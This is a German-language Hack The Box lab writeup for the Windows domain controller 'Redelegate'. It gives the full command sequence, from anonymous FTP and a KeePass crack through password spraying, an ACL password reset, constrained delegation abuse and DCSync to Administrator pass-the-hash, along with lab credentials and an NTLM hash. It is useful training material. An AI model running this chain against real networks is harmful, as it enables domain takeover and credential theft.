← Zurück zu Machines

HTB · published

Redelegate

Hack The Box CPTS-Track Writeup für Redelegate: Anonymous FTP, KeePass Crack, MSSQL SID Enumeration, gezielter Password Spray, ACL Abuse, constrained delegation, DCSync und Administrator Pass-the-Hash.

HTBCPTSWriteupActive DirectoryKeePassMSSQLDelegationDCSyncWinRMMachineWindows

Metadaten


  • Name: Redelegate
  • IP Address: 10.129.234.50
  • Plattform: Windows
  • Kategorie: Active Directory / Credential Hygiene / MSSQL / ACL Abuse / Kerberos Delegation
  • Schwierigkeit: Medium
  • Ziel(e): User, Administrator
  • Kurzbeschreibung des Szenarios: Redelegate ist ein Windows Server 2022 Domain Controller. Der Angriff beginnt bei anonymem FTP-Loot, führt über KeePass und MSSQL-SID-Enumeration zu einem gezielten Passworttreffer, anschließend über ACL-basierten Password Reset zu WinRM und endet mit Kerberos constrained delegation, DCSync und Pass-the-Hash.

Reconnaissance/ Enumeration

initscan:

nmap -p- --min-rate 5000 -Pn -oN scans/tcp_full.nmap 10.129.234.50
21/tcp    open  ftp
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws

servicescan:

nmap -sC -sV -O -Pn -p21,53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389 -oN scans/tcp_services.nmap 10.129.234.50
21/tcp    Microsoft FTP Service
80/tcp    Microsoft IIS 10.0
1433/tcp  Microsoft SQL Server 2019
5985/tcp  WinRM

Domain: redelegate.vl
Host: dc.redelegate.vl
SMB signing: enabled and required

LDAP RootDSE gab die Domain-Informationen preis:

dnsHostName: dc.redelegate.vl
defaultNamingContext: DC=redelegate,DC=vl

IIS zeigte nur eine Default-Seite. Anonymous LDAP und RID-Lookups waren weitgehend blockiert, aber FTP war anonym zugänglich.


Exploitation (Foothold)

Anonymous FTP enthielt drei Dateien:

CyberAudit.txt
Shared.kdbx
TrainingAgenda.txt

CyberAudit.txt deutete auf schwache Passwörter, gefährliche ACLs, unnötige Privilegien und ungenutzte AD-Objekte hin. TrainingAgenda.txt warnte vor dem Muster:

SeasonYear!

Die KeePass-Datenbank wurde gezielt mit saisonalen Kandidaten angegriffen:

keepass2john loot/Shared.kdbx > loot/Shared.kdbx.hash
john --wordlist=recon/season_passwords.txt loot/Shared.kdbx.hash --format=KeePass
Shared.kdbx : Fall2024!

Der relevante KeePass-Eintrag war:

SQLGuest : zDPBpaF4FywlqIv11vii

SQLGuest war kein AD-User, konnte aber am MSSQL authentifizieren. Über SQL Server ließen sich Windows-SIDs serverseitig übersetzen:

SELECT SUSER_SID('REDELEGATE\Domain Admins');

Dadurch wurde die Domain-SID ermittelt:

S-1-5-21-4024337825-2033394866-2055507597

Mit SUSER_SNAME(SID_BINARY(...)) wurden RIDs übersetzt und Benutzer identifiziert:

Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Ryan.Cooper
sql_svc
FS01$

Ein begrenzter Spray mit dem Audit-Hinweis Fall2024! traf:

Marie.Curie : Fall2024!

Lateral Movement / User Escalation

Mit Marie wurde BloodHound bzw. bloodyAD genutzt, um schreibbare Objekte zu prüfen:

bloodyAD --host dc.redelegate.vl -d redelegate.vl \
  -u Marie.Curie -p 'Fall2024!' get writable --detail

Marie konnte unter anderem Helen.Frost zurücksetzen. Helen war Mitglied der Remote Management Users, daher war sie das beste Ziel.

bloodyAD --host dc.redelegate.vl -d redelegate.vl \
  -u Marie.Curie -p 'Fall2024!' \
  set password Helen.Frost 'Start123!'

WinRM als Helen:

evil-winrm -i dc.redelegate.vl -u Helen.Frost -p 'Start123!'

User Flag:

type C:\Users\Helen.Frost\Desktop\user.txt
9649a[REDACTED-USER-FLAG]7df5

Helens Token enthielt den entscheidenden Hinweis:

SeEnableDelegationPrivilege   Enabled

Außerdem kontrollierte Helen ein ungenutztes Computerobjekt:

FS01$

Privilege Escalation (Root / Domain)

FS01$ hatte zunächst keine Delegation. Mit Helens Rechten wurde constrained delegation auf LDAP des DC gesetzt:

Set-ADObject -Identity 'CN=FS01,CN=Computers,DC=redelegate,DC=vl' `
  -Add @{'msDS-AllowedToDelegateTo'='ldap/dc.redelegate.vl'}

Set-ADAccountControl -Identity 'FS01$' -TrustedToAuthForDelegation $True

Danach wurde das Machine-Account-Passwort auf einen bekannten Wert gesetzt:

bloodyAD --host dc.redelegate.vl -d redelegate.vl \
  -u Helen.Frost -p 'Start123!' \
  set password 'FS01$' 'Machine123!'

Mit FS01$ wurde ein LDAP-Service-Ticket angefordert, während DC$ impersoniert wurde:

getST.py 'redelegate.vl/FS01$:Machine123!' \
  -spn ldap/dc.redelegate.vl \
  -impersonate dc \
  -dc-ip 10.129.234.50

Das Ticket erlaubte DCSync:

KRB5CCNAME=dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache \
  secretsdump.py -k -no-pass -dc-ip 10.129.234.50 \
  -just-dc dc.redelegate.vl

Administrator NTLM:

ec17f7a2a4d96e177bfd101b94ffc0a7

Pass-the-Hash per WinRM:

evil-winrm -i dc.redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7

Root Flag:

type C:\Users\Administrator\Desktop\root.txt
a08d8[REDACTED-ROOT-FLAG]db47

Cleanup der Delegation:

Set-ADObject -Identity 'CN=FS01,CN=Computers,DC=redelegate,DC=vl' `
  -Clear 'msDS-AllowedToDelegateTo'
Set-ADAccountControl -Identity 'FS01$' -TrustedToAuthForDelegation $False

Post-Exploitation

  • User Flag: 9649a[REDACTED-USER-FLAG]7df5
  • Root Flag: a08d8[REDACTED-ROOT-FLAG]db47
  • Wichtige Accounts: SQLGuest, Marie.Curie, Helen.Frost, FS01$, Administrator
  • Wichtige Dateien: CyberAudit.txt, TrainingAgenda.txt, Shared.kdbx
  • Wichtige Technik: KeePass Crack, MSSQL SID Translation, gezielter Spray, ACL Password Reset, constrained delegation, DCSync
  • Cleanup: Delegation auf FS01$ zurückgesetzt; ursprüngliche Passwörter von Helen und FS01$ waren nicht wiederherstellbar.

Lessons Learned

  • Kontext schlägt Brute Force: Der Training-Hinweis SeasonYear! machte den KeePass-Crack und Spray gezielt statt blind.
  • MSSQL kann AD-Enum helfen: Auch ohne LDAP-User kann SQL über SID-Übersetzung Domain-Principals offenlegen.
  • ACLs bauen Ketten: Marie war nicht direkt Admin, aber der Password Reset auf Helen öffnete den eigentlichen Pfad.
  • Delegation ist Tier-0: SeEnableDelegationPrivilege plus kontrolliertes Computerobjekt kann direkt zu DCSync führen.

Notizen

  • Helen war das bevorzugte Reset-Ziel, weil WinRM-Zugriff und Delegation-Privilege zusammenkamen.
  • FS01$ war ungenutzt und dadurch ideal für constrained delegation Abuse.
  • Der Weg blieb sehr “AD-native”: keine CVE, nur Fehlkonfigurationen und schwache Credential-Hygiene.